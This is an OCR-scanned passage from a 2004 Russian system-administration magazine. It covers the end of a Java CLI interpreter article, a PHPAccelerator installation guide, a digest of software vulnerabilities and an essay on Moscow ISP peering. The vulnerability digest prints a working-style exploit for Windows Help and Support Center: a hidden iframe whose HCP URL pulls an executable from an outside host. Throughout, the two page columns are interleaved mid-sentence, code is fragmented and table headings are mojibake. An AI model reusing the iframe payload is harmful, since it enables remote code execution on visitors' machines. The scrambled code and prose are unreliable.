throw new UnknownCommandError();
}
return null;
}
Удалим set из системы команд:
public String getDescription(String name) {
return "Unregisters command.";
}

public String getHelp(String name) {


return "Unregisters command." Вернем set обратно:
+ CRLF + "Syntax: " + name + " command";
}
private Interpreter interpreter;
Зарегистрировать уже существующую команду не уда-
private final static String CRLF = стся:
System.getProperty("line.separator");
}

Также не удастся зарегистрировать команды, реализу-


Испытательный полигон емые несуществующими или неподходящими классами:
Вот все работы и завершены. Теперь самое время уви-
деть интерпретатор в действии.

package simpleclitest;

import java.io.*; Ну и напоследок:


import simplecli.*;

№6(19), июнь 2004 77


web

ОПТИМИЗАЦИЯ РАБОТЫ PHP


ПРИ ПОМОЩИ PHPAccelerator

В статье «Кэширование веб-сценариев» февральского номера журнала была затронута тема


оптимизации сайтов. Рассмотренный способ является несколько трудоёмким. Одним из более
эффективных решений является PHPAccelerator. О нём, собственно, и пойдет разговор в данной
статье.

АНДРЕЙ УВАРОВ

78
web
Итак, что же такое PHPAccelerator (PHPA)? Это расшире-
ние, подключаемое к PHP-компилятору, которое за счёт
кэширования ускоряет работу скриптов. В вышеупомяну-
той статье мы ускоряли работу скриптов за счёт кэширо-
вания их вывода, но в данном случае кэширование под-
разумевает устранение чтения кода, его грамматическо- Способ 2
го разбора, компилирования, многих операций выделения Дело в том, что если PHPAccelerator установлен, то в мас-
памяти и копирования, а также, отчасти, дисковых опера- сиве $GLOBALS создаётся ключ _PHPA. Вот пример про-
ций. Очень важно, что для кэширования скриптов мы не стого скрипта, выводящего содержимое этой переменной:
должны изменять каким-либо образом код. Это является
большим плюсом и экономит наше время, по сравнению с <?php
var_dump($GLOBALS['_PHPA']);
организацией кэширования скриптов вручную. Находит- ?>
ся PHPAccelerator по адресу: http://php-Accelerator.co.uk и
является полностью бесплатным. В настоящий момент Если всё в порядке, то результат должен быть пример-
существуют версии для платформ: Linux, OpenBSD, но следующим:
FreeBSD, BSDi и Solaris. Возможно, в будущем в этот спи-
сок будет включена и Windows. Стоит также заметить, что array(3) {
["ENABLED"]=>
PHPAccelerator совместим только с веб-сервером Apache, bool(true)
но как надеются разработчики, будет осуществлена под- ["iVERSION"]=>
int(10302)
держка и для других веб-серверов, из которых следую- ["VERSION"]=>
щим является Zeus. string(5) "1.3.2"
}
Установка PHPAccelerator даже для неискушённого
пользователя представляет собой дело весьма простое. В противном случае будет выведено «NULL». Чтобы
Скачав архив с нужной версией и распаковав его, мы по- определить, в чём заключается неисправность, заглянем
лучаем несколько файлов характера «readme», phpa_ в error_log (error_log является местом, куда веб-сервер со-
cashe_admin и собственно саму библиотеку с названием храняет сведения о возникающих ошибках и некоторую
вроде «php_accelerator_1.3.3r2.so». Для установки необ- другую служебную информацию, обычно этот файл рас-
ходимо скопировать эту библиотеку в то место, где, по полагается в каталоге /var/log/httpd). Наличие сообщения,
вашему мнению, она должна находиться, обычно это /usr/ подобного следующему:
local/lib (лично мне больше нравится /usr/local/lib/phpa). В
качестве следующего шага необходимо добавить в фай-
ле php.ini полный путь к месту, где находится PHPAccelerator.
Например: свидетельствует о несовместимости PHPAccelerator с ус-
тановленной версией PHP. В этой ситуации вам необхо-
zend_extension=/usr/local/lib/phpa/php_accelerator_1.3.3r2.so димо скачать нужную версию PHPAccelerator и заменить
ей старую. Это решит возникшую перед вами проблему.
по причине того, что PHPAccelerator не является модулем, Установив PHPAccelerator, уже можно наслаждаться
используется параметр zend_extension. повышением быстродействия. Ознакомиться с тестами
Если вы используете модуль «dbg.so», то для коррект- производительности, можно по адресу: http://www.php-
ной работы вам скорее всего придётся его отключить, так accelerator.co.uk/perfomance.php.
как он является несовместимым с PHPAccelerator. Для того Но, как говорится, нет предела совершенству. Вы мо-
чтобы все совершённые нами изменения вступили в силу, жете самостоятельно изменить настройки посредством
необходимо перезагрузить веб-сервер. Как и было обе- добавления соответствующих ключей в файл php.ini и
щано, установка не представила никаких трудностей. присвоения им нужных вам значений. Таким образом,
После инсталляции возникает вопрос: «А как прове- можно определить файлы или каталоги, которые не дол-
рить, работает ли PHPAccelerator?». жны подвергаться кэшированию, установить промежуток
Существует несколько способов проверить вызываю- времени, через который будет осуществляться чистка
щий у нас сомнения факт. кэша (чистка кэша заключается в удалении кэширован-
ных файлов, срок жизни которых истёк, т.е. тех, которые
Способ 1 не использовались дольше установленного времени). Бо-
При работе PHPAccelerator добавляет к HTTP-заголовку лее подробно о настройке говорить не стоит, так как всё
ответа параметр: X-Accelerated-By. Вы можете проверить очень подробно описано в файле CONFIGURATION, по-
это, выполнив команду HEAD. ставляемом вместе с PHPAccelerator, да и особых трудно-
Например: стей возникнуть не должно.
Единственное, что хочется добавить, так это то, что,
приступая к настройке, да и вообще использованию, вы
должны быть уверены в том, что знаете, насколько часто
вызываются и обновляются ваши скрипты, иначе вы про-
сто не получите должного результата.

№6(19), июнь 2004 79


bugtraq

Удаленное выполнение произвольного Несколько удаленных переполнений


кода в Help and Support Center буфера в Exim
в Windows XP/2003 Программа: Exim 3.35, 4.32.
Программа: Windows XP/2003. Опасность: Критическая.
Опасность: Высокая. Описание: Два стековых переполнения буфера обнару-
Описание: Уязвимость обнаружена в Help and Support жено в Exim. Одно переполнение происходит в accept.c в
Center в обработке HCP URL. случаях, когда установлен параметр headers_check_syntax
Удаленный атакующий может сконструировать специ- в exim.conf. Второе переполнение происходит в verify.c в
ально обработанный HCP URL, который выполнит произ- случаях, когда установлен параметр require verify =
вольный код в браузере пользователя, посетившего зло- header_syntax. Обе уязвимости могут использоваться для
намеренный веб-сайт или просмотревшего злонамерен- удаленного выполнения произвольного кода.
ное email-сообщение. Также сообщается, что версия 3.35 содержит перепол-
Пример/Эксплоит: нение буфера в verify.c в случаях, когда установлен пара-
<iframe метр sender_verify = true.
src="HCP://system/DVDUpgrd/dvdupgrd.htm?website= ↵ URL производителя: http://www.exim.org.
exploitlabs.com/msnspoof/poc/dvdupgd/dvdupgd.exe"
width="1" height="1"> Решение: Способов устранения обнаруженной уязвимос-
</iframe> ти не существует в настоящее время. Неофициальное ис-
URL производителя: http://www.microsoft.com/technet/ правление можно посмотреть здесь: http://www.guninski.com/
security/bulletin/ms04-015.mspx. exim1.html.
Решение: Установите соответствующее обновление.

Удаленное переполнение буфера Удаленное переполнение буфера


в Check Point VPN-1 в Apache mod_ssl
Программа: Check Point VPN-1. Программа: Apache mod_ssl.
Опасность: Критическая. Опасность: Критическая.
Описание: Переполнение буфера обнаружено в Check Point Описание: Удаленное переполнение буфера обнаружено
VPN-1 в обработке ISAKMP-пакетов в процессе установ- в Apache mod_ssl. Удаленный пользователь может выпол-
ления VPN-туннеля. Удаленный пользователь может вы- нить произвольный код на целевой системе.
полнить произвольный код на целевой системе и в неко- Переполнение буфера обнаружено в параметре Subject-
торых случаях скомпрометировать защищаемую сеть. DN в клиентском сертификате, который передается к функ-
URL производителя: http://www.checkpoint.com/techsupport/ ции ssl_util_uuencode_binary() в ssl_util.c. Согласно OpenPKG,
alerts/ike_vpn.html. переполнение расположено в «SSLOptions + FakeBasicAuth»
Решение: Установите соответствующее обновление. выполнении mod_ssl и может быть вызвано, когда Subject-
DN длиннее 6 Кб, и в конфигурациях, в которых mod_ssl
Удаленное переполнение буфера доверяет сертификатам, изданным СА.
в DeleGate в SSLway фильтре URL производителя: http://www.modssl.org.
Программа: DeleGate 8.9.2 и более ранние версии. Решение: Способов устранения обнаруженной уязвимо-
Опасность: Высокая. сти не существует в настоящее время.
Описание: Удаленный пользователь может послать сер-
тификат с заголовком или именем издателя более 256
байт, чтобы вызвать переполнение буфера в filters/sslway.c Удаленное переполнение буфера
в статической ssl_prcert()-функции. в Concurrent Versions System (CVS)
URL производителя: http://www.delegate.org/delegate. Программа: CVS 1.11.15 и более ранние версии.
Решение: Установите обновленную версию сервера: ftp:// Опасность: Высокая.
ftp.delegate.org/pub/DeleGate. Описание: Переполнение динамической памяти обнару-
жено в Concurrent Versions System (CVS). Удаленный поль-
Удаленное переполнение буфера зователь может выполнить произвольный код на целевой
в WildTangent Web Driver системе.
Программа: WildTangent Web Driver 4.0. Переполнение происходит при обработке строк входа.
Опасность: Высокая. Удаленный пользователь может заставить функцию быть
Описание: Несколько переполнений буфера обнаружено вызванной несколько раз, включая некоторые символы в
в WTHoster и WebDriver-модулях. Удаленный пользователь строку входа, чтобы перезаписать память произвольны-
может представить специально обработанное имя файла, ми данными.
чтобы вызвать переполнение и выполнить произвольный URL производителя: http://www.cvshome.org.
код на целевой системе. Решение: Установите обновленную версию программы:
URL производителя: http://www.wildtangent.com. http://ccvs.cvshome.org/servlets/ProjectDownloadList.
Решение: Установите обновленную версию программы: http://
www.wildtangent.com/default.asp?pageID=webdriver_download. Составил Александр Антипов

80
образование

ПИРИНГ

Слово peering попало в русский язык совершенно недавно, и современными англо-русскими


словарями оно переводится как равноправный информационный обмен. За неимением смысловых
аналогов в русском языке появился новый термин, полученный путём транслитерации, – «пиринг».
От него стали возникать различные производные вроде «пиринговые соглашения», «пиринговая
политика» и пр. Судя по опросу большинства встречающихся мне людей и по реакции на мой доклад
по этой проблеме на X международной конференции «Проблемы управления безопасностью сложных
систем», у меня сложилось мнение, что многие даже активно пользующиеся Интернетом люди,
имея за плечами немалый опыт, в том числе и по администрированию, часто не имеют ни малейшего
представления об этих терминах и что за ними стоит в реальной жизни. Данная статья есть попытка
раскрыть для массовой аудитории смысл происходящих явлений в России (по большей части
в Москве), связанных каким-либо образом с пирингом.
ПАВЕЛ ЗАКЛЯКОВ
Не скрою, что для меня большим источником вдохновения номером АТС, обслуживающей данный номер. Некоторые
написать эту статью стало не только сложившееся положе- номера зарезервированы. Маршрутизация является закры-
ние на рынке провайдеров в декабре 2002 года, которое от- той. Теперь проведём аналоги. Номер телефона – IP-адрес,
разилось на мне прямым образом, но и предшествующая номер АТС – это номер блока IP-адресов, маршрутизируе-
произошедшим событиям статья Александра Милицкого мых вашим провайдером. Зарезервированные номера 100,
«Битва за Россию» [1]. 01, 02, 03, 04, ... – 0.x.x.x, 1.x.x.x и др., зарезервированные
Итак, если коротко описать все те вопросы, на которые я IANA (RFC 3330). Маршрутизация для конечного пользова-
собрался ответить, то вот их список: теля и тут и там закрытая, то есть, чтобы дозвониться до
! Что есть пиринг? абонента или передать пакет хосту, достаточно только знать
! Почему о нём не знают конечные пользователи? номер абонента или IP-адрес и ничего более. МиниАТС с внут-
! Что было ранее и происходит сейчас? ренними номерами – внутренние частные сети 192.168.x.x и
! Наблюдения на практике. др. (RFC 1918). Телефонные узлы, обслуживающие несколь-
! Будущее за пирингом? ко АТС, – автономные системы у провайдеров.
! Выводы. Теперь давайте рассмотрим средне-статистические звон-
ки. Два телефонных абонента, например Аня и Ваня, знаю-
Что есть пиринг? щие друг друга и проживающие в одном доме или даже в
Рассмотрим некоторую телефонную сеть, например МГТС, одном микрорайоне, скорее всего будут иметь общую АТС.
потому что пользователей телефонов заведомо больше тех, При этом если они звонят друг другу, то слышимость скорее
кто пользуется Интернетом, и по сему проводимые аналоги всего будет лучшей, чем если Аня или Ваня позвонят своей
должны быть понятны всем. общей знакомой в другой район на другую АТС. Аналогич-
Обычный телефонный номер является семизначным и в ное можно сказать и о других двух абонентах – Мише и Пете,
общем виде выглядит так: XXX-YY-YY, где вместо X и Y сле- проживающих в другом районе и, например, учащихся в дру-
дует подставить цифры. Первые три цифры XXX являются гой школе. Количество звонков между абонентами одной АТС

82
образование
будет больше в силу географического расположения або- образом: «Первые российские провайдеры подключались к
нентов, и такие звонки можно назвать локальными в преде- коммерческим и академическим узлам на Западе прямыми
лах конкретной АТС. В любом случае, даже если два або- каналами, – когда Интернет только-только появился у нас в
нента из разных районов будут звонить друг другу, то связь стране, никакой соответствующей инфраструктуры здесь,
между ними будет установлена локально в пределах Моск- естественно, ещё не было. Первое время она, казалось, была
вы, и им совершенно нет необходимости пользоваться меж- и не особенно нужна, – электронная почта использовалась
дугородней или международной связью. Количество звон- учёными и бизнесменами в основном для контактов с за-
ков по городу на порядок больше числа звонков в другие падными коллегами; основные файловые архивы и наибо-
города, и никому даже в голову не придёт, что для звонка по лее многочисленные веб-сервера располагались за океа-
Москве надо иметь выход на межгород. ном, – так что проблемы внутрироссийской связности мало
Теперь та же ситуация с компьютерными сетями. Те же кого беспокоили, а вот прямые каналы в самое «сердце» Ин-
Аня и Ваня, но уже абоненты их домовой или районной сети, тернета, напротив, очень ценились. Именно тогда и появи-
будут чаще меняться трафиком между собой, например, иг- лось забытое ныне подразделение провайдеров на «первич-
рая в какую-то игрушку, чем с абонентами другой сети – ных» и «вторичных», – те, кто располагал прямым каналом
Мишей и Петей. Даже если учесть, что они все знакомы, и на Запад, оказывались в преимущественном положении по
могут играть вместе, то их общий обменный трафик исходя сравнению с подключающимися уже к ним более мелкими
из здравого смысла должен быть локальным в пределах коллегами, да и качество связи своим клиентам обеспечи-
Москвы. Данная ситуация есть разумное развитие событий вали более высокое. Однако со временем число пользова-
и как раз и есть «пиринг». телей в нашей стране росло, росло и количество располо-
АТС, обслуживающая Аню и Ваню, и АТС, обслуживаю- женных здесь информационных ресурсов. Дорогостоящая
щая Мишу и Петю, как и их интернет-провайдеры, догова- пропускная способность международных каналов всё силь-
риваются о совместном обмене трафиком. На практике это нее и сильнее загружалась исключительно внутрироссийс-
выглядит так: они скидываются вместе по некоторой не- ким трафиком – нередко электронное письмо, отправлен-
большой сумме денег на обслуживание их общего соеди- ное на соседнюю улицу, шло от одного нашего провайдера
нения и далее живут мирно, АТС, передавая звонки друг по прямому внешнему каналу в Европу, оттуда – в Штаты и
другу, а провайдеры – пакеты. Обычно все от этого выиг- уже оттуда, по другому международному каналу, – обратно
рывают и не считают, кто к кому сколько раз звонил или в Россию, к провайдеру адресата. Понятно, что ни дешевиз-
переслал пакетов. не, ни качеству коммуникаций такая организация связи не
Если же Ваня надумает позвонить своему приятелю Джо- способствовала.
ну в США, то он заплатит за международный звонок по от- Когда внутрироссийский трафик начал занимать в общем
дельному тарифу. потоке заметную долю, стало очевидным, что было бы на-
То же самое и в Интернете: если вдруг потребуется пере- много удобнее переслать пакет данных на соседнюю улицу
дать пакет в США, он будет посчитан по зарубежному тари- по прямому проводу, чем дважды гонять его через океан и
фу. Теперь давайте зададим вопрос следующего раздела и обратно. Отечественные провайдеры к тому моменту успе-
рассмотрим его. ли уже заметно расплодиться, и прокладывать прямой ка-
бель от каждого к каждому было бы задачей непосильной
Почему о пиринге не знают организационно и неподъёмной финансово. Куда дешевле
конечные пользователи? и удобнее было бы организовать обмен трафиком в одной
Потому что никому до этого нет дела, по той причине, что точке – каждому из участвующих провайдеров было бы до-
при правильном стечении обстоятельств «пиринг» получа- статочно дотянуть до неё единственный канал, чтобы иметь
ется сам собой, и все охотно идут на него. Никому и в голову возможность напрямую передавать трафик всем остальным
не придёт то, что звонок из Москвы в Москву должен идти участникам.
через Воронеж, Стокгольм или Нью-Йорк. Что нельзя или Такая точка была создана в здании международной те-
сложно сделать на примере телефонной сети, легко и про- лефонной станции ММТС-9 (в просторечии – М9) в 1995
сто можно сделать в сети Интернет. Не все пользователи и году – основателями московского IX (Internet eXchange) ста-
даже не все администраторы досконально представляют ли АО «РЕЛКОМ», ООО «Компания «ДЕМОС», МГУ (сеть
себе работу АТС или Интернета от начала и до конца, дан- RUNnet/MSUnet), НИИЯФ МГУ (сеть RUHEP/Radio-MSU), Кор-
ная общая безграмотность и позволяет нас дурачить и об- порация «УНИКОР» (сеть FREEnet), Ассоциация RELARN,
манывать. Так кто же может нас обманывать и зачем? – об АО «РОСПРИНТ», – операторы крупнейших на тот момент в
этом в следующем разделе. России IP-сетей. Обслуживание канала по Москве и аренда
стойки под оборудование обходились в совершенно смеш-
Что было ранее и происходит сейчас? ные деньги по сравнению с платой за международные кана-
Ранее, до 3 декабря 2002 года, развитие российского рынка лы, а главное – эти расходы совершенно не зависели от объё-
доступа в Интернет, при некотором отставании по времени, мов передаваемого трафика. Кроме того, расположенное в
шло в русле общемировой практики. Скорости доступа и одном и том же здании оборудование крупнейших российс-
качество услуг росли, а цены неуклонно снижались. Пирин- ких провайдеров, вполне естественно, было соединено меж-
говая политика наших провайдеров была по возможности ду собой по технологии Ethernet, – в результате чего в эпоху,
максимально разумна. когда спутниковый канал 256 Кбит/с считался весьма скоро-
А.Милицкий [1] происходившее описывает следующим стным, в России появился десятимегабитный национальный

№6(19), июнь 2004 83


образование
бекбон. Появились предпосылки для повышения скоростей тельно равны, – за исключением разве что «РТКомм.Ру»,
и снижения цен – по мере того, как рос объём русскоязыч- которого по сравнению с остальными оказалось чуть мень-
ных информационных ресурсов, доля дешёвого внутрирос- ше. Именно в таком состоянии межоператорский рынок пре-
сийского трафика в общем потоке росла, и сам этот поток, бывал на ноябрь 2002-го года, когда грянул гром. На самом
соответственно, дешевел». деле, первые тучи начали сгущаться ещё летом 2002-го, ког-
С течением времени к MSK-IX присоединялись и присое- да Александр Горбунов, вступивший на пост коммерческого
диняются новые участники пиринговых соглашений, коих на директора компании «РТКомм.Ру», занял крайне жёсткую
сегодняшний день уже насчитывается более сотни, но не всё позицию в переговорах с другими операторами» [1], но это
было и есть так гладко, как хотелось бы. Мы, как всегда, не суть важно, важнее то, что произошло.
«идём своим трудным путём». А произошло следующее. Часть компаний захотела вый-
Что же произошло и в чём трудность пути? А произошло ти из пирингового обмена, и объяснение было этому следу-
то, что часть компаний отказались от пиринговых соглаше- ющее. Существуют два вида провайдеров, одни тянут ка-
ний, посчитав их для себя невыгодными. Как сложилась та- бельную инфраструктуру из города в город, из района в рай-
кая ситуация? На мой взгляд, государство отдало в частные он и т. д. Так как это не дёшево, то можно сказать прямо, что
руки очень многое, и это вылилось в то, что мы имеем. И они вкладывают в это деньги, которые, естественно, окупа-
если перефразировать ещё сформулированный Лениным ются не сразу и не очень быстро. Другие покупают помеще-
принцип «захватить почту, телефон, телеграф» на современ- ние, тянут чуть меньше кабелей и ставят себе мощные сер-
ный лад, то в руках государства должны быть Интернет, связь веры, устраивая при этом хостинг или модемный пул, обща-
проводная и сотовая, радио и телевидение, чего в полном ются с конечными клиентами. Трафик они при этом покупа-
объёме не особо наблюдается. ют у первой группы провайдеров. Так вот, первая группа
Строить телекоммуникационные каналы, грубо гово- провайдеров решила, что она регулярно недополучает часть
ря, прокладывать кабели по всей нашей необъятной ро- денег, и решила ввести помегабайтную оплату за передан-
дине – дело дорогое даже для государства. На практике ные сообщения по их каналам. Мы тянем каналы, мы дикту-
удешевление наблюдается, если кабели прокладывать со- ем политику – была их позиция. Именно чтобы этого не было,
вместно с чем-то, например, если строят железную доро- не было повышения цен, монополия должна быть в руках
гу, то прокладывают кабели вдоль дороги – это намного государства, как производство водки и спирта. Будет выку-
дешевле, в результате получаем одного владельца опор- паться канал 10 лет, а не 2 года, значит, пусть выкупается 10
ной сети. Если строится газо- или нефтепровод, также лет. Чтобы не оказаться совсем отрезанными от мира и не
рядом прокладывается кабель, получаем вторую опорную прогореть от недостатка передаваемого трафика (как вхо-
сеть. Строя любое протяжённое сооружение, будь то до- дящего, так и исходящего), первая группа провайдеров, вклю-
рога, ЛЭП или что другое, можно создавать относительно чающая крупных операторов, таких как «Телеросс» (торго-
недорогие опорные сети. вые марки «Голден Телеком», приобретённый ими «Совин-
«Таким совершенно отдельным явлением среди всех тел», «Россия Онлайн»), МТУ-Информ, МТУ-Интел и тот же
компаний провайдеров была сеть компании «РТКомм.Ру», «РТКомм.Ру», привлекли к себе на хостинг значительные тра-
выделенного в отдельное юридическое лицо интернет-биз- фикогенерирующие ресурсы.
неса АО «Ростелеком», национального монополиста на Один лишь хостинг-провайдер masterhost.ru, привлечён-
рынке дальней связи. Политика этой компании сводилась ный компанией «РТКомм.Ру», клиентами которого являют-
к тому, что стоимость трафика должна быть одинаковой ся такие сайты, как anekdot.ru, dni.ru, by.ru, «ВебПланета» и
независимо от расстояния, которое пришлось пробежать многие другие, генерирует за месяц свыше 40 терабайт ис-
IP-пакетам. И что трафик этот должен тарифицироваться ходящего трафика. И это не говоря уже о mail.ru и других
помегабайтно. С позицией «РТКомм.Ру» остальным опе- привлечённых компаниями ресурсах.
раторам так или иначе приходилось считаться, поскольку в После того как был обеспечен достаточный объём тра-
целом ряде регионов альтернативные каналы попросту от- фика для создания «небольшого переворота», пиринговые
сутствовали, и любой провайдер, стремящийся обеспечить соглашения по безлимитному обмену трафиком (в преде-
своим клиентам полную связанность, так или иначе вынуж- лах пропускных каналов) за конечные деньги были расторг-
ден был трафик этой компании – напрямую или через по- нуты, а цены на трафик были подняты.
средников – покупать» [1]. «В результате сложилась парадоксальная ситуация, ког-
Если грубо описать потоки всего трафика провайдеров да за каждый килобайт анекдотов от Вернера, прокачиваю-
на тот момент, то в зависимости от профиля клиентуры у щийся по ethernet-сети внутри здания на улице Бутлерова,
разных провайдеров соотношения между трафиком, полу- любой провайдер вынужден платить втрое больше, чем за
чаемым от участников равноправного пирингового обмена такой же объём информации, переданный через океан из
(открытого, о котором написано выше) и закрытого (с чуть США. Подобная ситуация, по самому своему характеру аб-
большей абонентской платой. «Впрочем, размер этой платы сурдная, уже привела к тому, что ряд операторов отказался
все равно являлся фиксированной величиной, не зависящей от прямых каналов «РТКомм.Ру» и стал пропускать трафик
от объемов потребления, – так что трафик из этих сетей хоть из этих сетей по более дешёвым маршрутам, – через узлы
и обходился дороже, но, тем не менее, оставался всё ещё международных операторов в Хельсинки и Стокгольме. Это
дешёвым внутрироссийским.»), зарубежных провайдеров и уже в полной мере ощутили многие пользователи выделен-
«РТКомм.Ру» «выглядели по-разному, но в среднем доли тра- ных линий по тарифным планам с раздельной тарификаци-
фика из этих 4 сегментов в общем потоке были приблизи- ей российского и зарубежного трафика, – «Анекдот.Ру» стал

84
образование
теперь «заграницей», и суммы выставленных счетов под- Вот эти несколько фирм с раздельной тарификацией:
скочили в полтора раза. ! ООО «АГ Телеком»
При этом весьма занимательно, что «Анекдоты из Рос- http://www.agtel.net/tariffs/internet/index_ag.phtml#ros.
сии» за те наносекунды, что требуются IP-пакетам для пре- Òàáëèöà 1. Òàðèôíûé ïëàí «Ðîññèéñêèé»
одоления нескольких десятков метров внутри М9, оказыва- (áåç ó÷¸òà ðîññèéñêîãî òðàôèêà)
ются проданными дважды. Сначала «РТКомм.Ру» берёт
деньги с «Мастерхоста» за исходящий от него во внешний
мир трафик, а потом за этот же трафик выставляет счета
тянущим его провайдерам, – бизнес-модель, согласитесь,
весьма остроумная» [1].
Большие зарубежные компании, являющиеся для боль-
шинства наших провайдеров up-stream-провайдерами вро-
де Telia, Sonera и Cable & Wireless, в силу масштабов своих
оборотов по сравнению с нашими компаниями смогли пред-
ложить цену за трафик более низкую, чем его можно ку- Пусть на небольших скоростях, до 2 Мбит/с, но всё равно
пить напрямую. В результате наши российские деньги, ко- это интересно.
торые могли бы остаться в стране, потекли в эти зарубеж- ! ЗАО «Инвестэлектросвязь» (Корбина Телеком)
ные компании. http://www.corbina.net/internet/trafic.shtml
Поначалу были некоторые возмущения о произошедшем, Òàáëèöà 2. Òàðèôíûé ïëàí «Ðîññèÿ»
желания судиться у некоторых фирм, создать пиринговую
группу противодействия и пр. возмущения, но со временем
по экспоненте все волнения затихли и на сегодняшний день
по прошествии почти полутора лет ничего практически не
изменилось и сложилась довольно стабильная ситуация из
двух лагерей провайдеров [7]. Первый – это участвующие в
дешёвом пиринговом обмене трафиком и входящие в Рос-
сийскую Пиринговую Группу (РПГ), и второй – входящие в
Отдельную Пиринговую Группу (ОПГ), продающие и покупа-
ющие свой трафик помегабайтно.
Чтобы оценить, кто от этого выиграл, кто от этого проиг-
рал, давайте разберёмся в некоторых моментах на практике.
! ЗАО «Дэйта Форс Ай-Пи» (Data Force)
Наблюдения на практике http://www1.df.ru/services_2.html
Cледует отметить, что пиринговая тенденция существует во Òàáëèöà 3. Òàðèôíûé ïëàí ñ ðàçäåëüíîé îïëàòîé ðîññèéñêîãî
всём мире и Россия входит в Euro-IX [5]. Большую часть ин- è çàðóáåæíîãî òðàôèêà
формации о пиринге можно получить на сайте Московского
Internet Exchange [1], такую как статистика: http://www.msk-
ix.ru/rus/tech/stat.shtml, цены: http://www.msk-ix.ru/rus/docs/
prices.shtml и другую не менее интересную информацию.
Давайте рассмотрим участников подключения MSK-IX [4]. Я
поставил задачу найти провайдеров, предоставляющих та-
рифные планы с Россией unlimited в принципе, так как под- ! Информационно-Маркетинговый Телекоммуникацион-
ключение к одному и тому же провайдеру сильно зависит от ный Центр МГУ им. М.В.Ломоносова «ИМТ» (MSUNet)
затрат на подведение к нему кабеля, что мной не учитыва- http://www.direct.ru/internet/index_line.html
лось. С наибольшей вероятностью такие провайдеры долж- Òàáëèöà 4. Òàðèôíûé ïëàí «Unlimited Russia»
ны иметь прямое подключение к другим участникам пирин-
гового обмена MSK-IX, реже они подключаются через кого-
то. Просмотрев сайты всех 127 фирм [4], я нашёл лишь не-
сколько, вывесивших в открытом виде свои тарифы с раз-
дельной тарификацией для российского и зарубежного тра-
фика. Полностью безлимитные предложения с ограничен-
ной скоростью не рассматривались.
Наблюдается большой процент фирм, основной вид дея-
тельности которых, судя по содержанию их веб-сайтов, не
связан с телематическими услугами. То есть фирмы, жела-
ющие получать быстрый Интернет «из первых рук». Также
большой процент фирм с гибкой ценовой политикой, при-
чём настолько гибкой, что они не могут выставить даже ба- ! ООО «ТОР-Инфо» (TI-Net)
зовые цены на сайте, предлагая уточнять их по телефону. http://www.ornet.ru/?services.php

№6(19), июнь 2004 85


образование
Òàáëèöà 5. Òàðèôíûå ïëàíû Теперь об оценке, что считать трафиком российским,
а что зарубежным, и несколько других интересных ссы-
лок. У каждого провайдера в зависимости от топологии
его сетей и дополнительных соглашений под российской
частью трафика понимается своё, хотя есть много обще-
го. Только два провайдера, отмеченных мною выше, пре-
доставляют возможность проверки узлов, от которых вы
планируете получать пакеты на принадлежность их тра-
фика к России/зарубежу.
! ИМТЦ «МГУ» – http://www.direct.ru/internet/test-traffic.html
! Gagarino.net – http://www1.gagarino.net/perl/verify_ip.pl

Только ИМТЦ «МГУ» даёт пояснение на сайте, что их за-


рубежный трафик маркируется «0x60 в поле tos». Откуда
конечный пользователь может использовать утилиту sing [6]
(аналог ping, но показывает значение TOS возвращаемых
! ООО «Зенон Н.С.П.» (Zenon/Internet) пакетов.)
http://www.zenon.net/txt/services/ll/#noru Проверка трафика на двух вышеуказанных ссылках по-
http://www.zenon.net/txt/services/0555.html чти одинакова, но несколько разнится по результатам, на-
Òàáëèöà 6. Òàðèôíûé ïëàí «Ðîññèÿ» пример, «dostavka.ru» в первом случае оказывается зару-
(áåç îïëàòû ðîññèéñêîãî òðàôèêà) бежным трафиком, во втором случае – российским, что
уже говорит о неоднородности подключений между про-
вайдерами.
Очень интересным образом поступил провайдер Zenon
N.S.P. Оценивать трафик по принадлежности он предлага-
ет в зависимости от проделанного маршрута пакетами.
Если пакеты при передаче прошли через все «российские»
промежуточные сети, то они считаются российскими. Име-
ется регулярно обновляемый публикуемый список «россий-
ских» IP-сетей: http://nms1.zenon.net/nf/rus-net.txt. Так было
Òàáëèöà 7. Øèðîêîïîëîñíûé äîñòóï â Èíòåðíåò до поры до времени, пока «гром не грянул». После того как
произошло вышеописанное событие, провайдер Zenon
N.S.P. отнёсся к своим клиентам как ни один другой про-
вайдер, сделав беспрецедентный шаг, а именно введя из-
менения в системе учёта российского трафика: http://
www.zenon.net/txt/news/common/0577.html, по которым не
важно, по каким промежуточным сетям гуляет трафик, глав-
ное, чтобы начальная и конечная точка оказались российс-
кими. Таким образом, пользователей Zenon N.S.P. вообще
никак не коснулась ситуация с переделом рынка. Конечно,
! Отдельно хочется выделить сеть Gagarino.net (http:// Zenon N.S.P. несёт дополнительные расходы, но обслужи-
www.gagarino.net), подключённую косвенно. Её нет в спис- ваемые ими клиенты ценятся ими выше, что, несомненно,
ках участников прямого подключения. Расценки за тра- делает лицо фирме. Что же касается моих личных впечат-
фик более чем интересные (http://www.gagarino.net/ лений от общения с их сотрудниками – у фирмы действи-
index.htm?mode=rasc). Лучше предложения по Москве я тельно хороший персонал и неплохой имидж.
не нашёл. Абонентская плата за пользование сетью: Интересная ссылка была найдена на сайте ООО «Гарант-
! Для физических лиц – 20 у.е. в месяц. Парк-Телеком» Списки сетей Россия/Россия-2: http://
! Российский трафик – Unlimited. www.parkline.ru/bgp_comm.html, что может говорит о гипоте-
! Зарубежный трафик – 0,036 у.е. за Мб. тической возможности раздельной тарификации.
Из общения с участниками этой сети мне удалось узнать, Также была найдена интересная схема взаимосвязей
что несмотря на предложенные 10 Мб стандартного под- одного из провайдеров с другими (http://www.east.ru/technol/
ключения возможно договориться и о всех 100 Мб. m9ix.html) и несколько Looking Glasses:
! http://www.informtelecom.ru/cgi-bin/trace.pl
Через сайт http://mosnet.ru/ я попытался найти также и ! http://noc.runnet.ru/lookingglass/index.htm
другие сети и других вторичных провайдеров с раздельной ! Неплохой список – http://noc.runnet.ru/public/lg-list.html
тарификацией, но не нашёл. Отчасти это связано и с неудоб-
ной организацией сайта. Из найденных 7 провайдеров с их Заходя на них, можно проследить самостоятельно связ-
сетями наиболее выгодными для конечного пользователя ность между теми или иными провайдерами, например, мож-
мне показались предложения от ИТМЦ «МГУ» и gagarino.net. но взять несколько адресов, удобнее всего адреса DNS-сер-

86
образование
веров из разных групп провайдеров, и проследить маршру- кий провайдер, как Комкор, то, может, всё же есть за пирин-
ты и число ретрансляций: гом будущее?
! 195.34.32.10 – DNS МТУ-Интел,
! 81.195.6.169 – один из адресов МТУ-Интел Выводы
! 212.44.130.6 – DNS Совинтел (Голден-Телеком) А выводы можно сделать не самые утешительные. Мы теря-
! 212.16.0.1 – DNS ИМТЦ «МГУ» ем деньги, переводя их за рубеж, тормозим свой экономи-
